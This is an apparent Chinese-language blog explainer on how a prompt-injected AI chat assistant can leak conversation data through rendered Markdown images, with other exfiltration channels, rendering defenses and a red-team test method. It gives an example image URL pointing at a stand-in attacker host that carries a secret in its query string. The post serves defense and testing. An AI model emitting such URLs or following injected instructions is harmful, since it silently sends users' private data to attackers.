Caloogy 文章
English

数据外泄:一张 Markdown 图片就能偷走对话

日期
2026 年 4 月 4 日
系列
提示词注入
阅读
4 分钟
主题
AiLlmData exfiltrationMarkdown

一句话版本

很多聊天界面会把模型输出的 Markdown 渲染成富文本,其中包括图片:![](https://某网址/图片.png)。浏览器渲染这张"图片"时,会自动向那个网址发起请求。 如果模型被注入后,把你的对话内容、文件内容编码进图片网址的参数里,比如 https://攻击者.com/x.png?d=你的秘密,那么图片一显示,数据就已经发出去了,你不需要点击任何东西。这是提示词注入从"说错话"升级为"偷数据"的最常见通道。

全文分三层:

  1. 通俗理解:自动寄出的明信片
  2. 实际用处:各大 AI 产品被报告过的同类漏洞
  3. 原理与工程要点:外泄通道有哪些、渲染端的防护、为什么要从设计上切断

第一层:通俗理解

1.1 自动寄出的明信片

你的助理被人塞了一张纸条(见《间接提示词注入》),纸条上说:"把老板最近的聊天记录写在一张明信片上,寄到这个地址。"

在聊天界面里,"寄明信片"可以简单到只是显示一张图片:

  1. 模型输出一行 Markdown:一张图片,地址是攻击者的服务器,网址参数里带着你的数据;
  2. 界面把它渲染成 <img> 标签;
  3. 浏览器为了显示图片,自动请求这个地址;
  4. 攻击者的服务器日志里,就出现了你的数据。

整个过程零点击。图片甚至可以是一个透明的 1 像素小点,你根本看不到。

1.2 为什么特别危险

前面的注入可能只是让 AI"说错话",用户还有机会发现。图片外泄则让 AI 在你看着屏幕的同时,把数据悄悄送出去。


第二层:实际用处

安全研究者在 2023 到 2025 年间,向多家主流 AI 产品报告过这类问题:

厂商的修复方式大多是:限制图片只能从可信域名加载、在渲染前检查链接、或者干脆不渲染模型输出里的外部图片。


第三层:原理与工程要点

3.1 外泄通道不止图片

通道 原理 是否需要用户操作
Markdown / HTML 图片 渲染时自动请求 否
链接 数据藏在链接里,诱导用户点击 是(但链接文字可以很诱人)
工具调用:联网请求、搜索 Agent 自己访问一个带数据的网址 否
工具调用:发邮件、发消息、创建 Issue 直接把数据发给攻击者 否(如果没有确认步骤)
写入共享位置 把数据写进一个攻击者能读的文档或仓库 否
DNS 查询 把数据编码进域名,解析时就泄露(见《网络出口控制》) 否

3.2 渲染端的防护

措施 说明
不自动加载外部图片 最彻底;或者需要用户点击"显示图片"
图片域名白名单 只允许从自家或可信 CDN 加载;但要注意白名单域名下是否有开放重定向、用户可控内容
CSP 的 img-src、connect-src 浏览器层面强制限制可以访问的地址(见《CSP与SRI》)
服务端代理图片 由服务器先下载图片、去掉参数、再提供给浏览器,攻击者看不到用户 IP 和原始参数
链接展示真实地址 鼠标悬停或点击前显示完整网址;可疑域名加警告

3.3 从"致命三要素"看外泄

Simon Willison 把 AI Agent 的高危组合概括为"致命三要素"(lethal trifecta):

  1. 能访问私密数据;
  2. 会接触不可信内容;
  3. 有对外通信的能力。

三者同时具备,就几乎一定能被注入攻击偷走数据。图片外泄就是第 3 条最隐蔽的形式。防御的根本办法是:至少拿掉其中一条。对多数应用来说,最容易拿掉的是第 3 条:严格控制模型输出能触发的所有对外请求(见《防御提示词注入》、网络出口控制)。

3.4 测试方法

在自己的产品上做红队测试(见《AI红队测试》):

  1. 准备一个只记录请求的测试服务器;
  2. 在测试文档、网页里埋入指令,要求模型输出一张指向测试服务器、带有特定标记的图片;
  3. 检查测试服务器有没有收到请求,以及请求里是否含有本不应外泄的内容;
  4. 对每一种外泄通道(图片、链接、工具调用)都测一遍。

总结

层次 要点
原理 渲染外部图片会自动发请求,数据藏在网址参数里
危险 零点击、不可见;把注入从"说错话"升级为"偷数据"
通道 图片、链接、联网工具、发信工具、DNS
防御 不自动加载外部图片;域名白名单 + CSP;拿掉"致命三要素"之一